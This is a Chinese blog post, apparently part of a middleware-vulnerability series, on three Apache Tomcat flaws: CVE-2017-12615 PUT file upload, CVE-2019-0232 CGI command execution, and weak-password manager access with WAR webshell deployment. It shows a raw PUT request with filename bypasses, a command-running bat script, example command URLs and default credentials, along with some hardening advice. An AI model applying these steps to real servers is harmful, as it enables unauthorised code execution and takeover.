• 常见web中间件漏洞(四)Tomcat漏洞


    这部分好久没写了,继续更新web中间件漏洞思路整理(不复现) ,争取。。。整理完

    前几篇指路链接:

    nginx:

    https://www.cnblogs.com/lcxblogs/p/13596239.html

    Apache:

    https://www.cnblogs.com/lcxblogs/p/13588664.html

    IIS:

    https://www.cnblogs.com/lcxblogs/p/13539558.html

     

    Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试Servlet、JSP 程序的首选。

    安装不介绍了,两种方法都可以,教程参考:https://www.cnblogs.com/dekevin/p/12261904.html、https://www.cnblogs.com/jingmoxukong/p/8258837.html

    使用功能参考:https://blog.csdn.net/chaogu94/article/details/107292921

    (可通过kill掉进程中的tomcat.exe强制关闭)

    1.Tomcat任意文件写入漏洞(CVE-2017-12615)

     Apache Tomcat 7.0.0 - 7.0.81受到影响

    conf下的web.xml正常来说是这样

    但是如果是这样

    存在readonly为false,表示允许PUT与DELETE请求,就会造成此漏洞

     

    即:当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false,如果是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT请求方法上传文件了),攻击者可通过构造攻击请求向服务器上传 JSP 木马

    比较常规的一个利用思路是:访问tomcat主页抓包,先把GET请求方式改成OPTIONS请求方式,看返回包有没有不安全的方法(PUT DELETE。。。)

    如果有,搞一波

    可以把GET请求改成PUT、添加文件名、加文件内容

    注意,如果像下面这种/1.jsp请求是不行的,会因为处理不了而404

    PUT /1.jsp HTTP/1.1
    Host: 192.168.xxx.xxx:8080
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 57

    马马马马。。。。

    必须要进行绕过,可以尝试如下两种方式

    /1.jsp/  

    /1.jsp%20

    然后访问马或者脚本实现目的

    复现过程参考:https://www.freebuf.com/articles/web/258907.html

    https://blog.csdn.net/zy15667076526/article/details/109958388

    所以不要这么配置

    2.Tomcat 远程代码执行(CVE-2019-0232)

    影响9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93版本的Windows系统下的tomcat

    还是web.xml中

    变为

     

     

     接着在conf/context.xml  中的<Context>添加privileged="true"语句

    webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

    @echo off
    echo Content-Type: text/plain
    echo.
    set off=%~1
    %off%

     

    只是举个例子,实际上写啥都行,只要可以执行,实现目标

    然后访问这个bat文件附加命令可执行某某命令,例如

    http://127.0.0.1:8080/cgi-bin/xxxxxx.bat?c:/windows/system32/ipconfig

    http://127.0.0.1:8080/cgi-bin/xxxxxx.bat?c:/windows/system32/net+user

     

     

    复现参考:https://blog.csdn.net/weixin_43806577/article/details/100094722

    https://blog.csdn.net/xuandao_ahfengren/article/details/106982504

    https://www.jianshu.com/p/3fcd2f3f6ba4

     

    想要利用成功,条件比较苛刻

    3.Tomcat + 弱口令 && 后台getshell漏洞

    正常来说tomcat-users.xml是这样的

     如果允许远程登录,需要修改配置,加一段,参考:https://www.cnblogs.com/wangjiming/p/12492764.html

    <tomcat-users>
        <role rolename="manager-gui"/>
        <role rolename="manager-script"/>
        <role rolename="manager-jmx"/>
        <role rolename="manager-status"/>
        <role rolename="admin-gui"/>
        <role rolename="admin-script"/>
        <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    </tomcat-users>

    然后看是否可以通弱口令登录tomcat后台(比如我的用户名密码都是admin),默认路径就是manager/html(我这里改了端口号,不做特殊说明),访问此路径弱口令进入后台

    然后发现允许上传WAR文件

    Javaweb工程大多打包成WAR包,便于管理且tomcat可以自动识别

    所以我们的思路就是把jsp马打包成WAR

    以管理员模式运行cmd生成WAR:jar -cvf lcx.war lcx.jsp

    然后通过“要部署的WAR文件”把WAR包传上去

    WAR自行解压

    之后访问马子

    所以弱口令不能有(可以通过抓包解码爆破),且需要设置conf/tomcat-users.xml中目录页面的访问限制,或者改掉manage/html

    复现参考:https://www.cnblogs.com/bmjoker/p/9892653.html

     https://www.cnblogs.com/mke2fs/p/12718669.html

    https://my.oschina.net/u/3076320/blog/4345568

    未经允许,禁止转载

  • 相关阅读:
    div显示和隐藏
    C语言求素数的算法
    日志分析概述
    Base64编码 概念和用途
    leetcode
    hdu2665-Kth number
    为什么要新加入的人不闻不问?
    实现微博@@@
    JAVA运行程序代码段
    IfSpeed 带宽计算
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14511577.html
Copyright © 2020-2023  润新知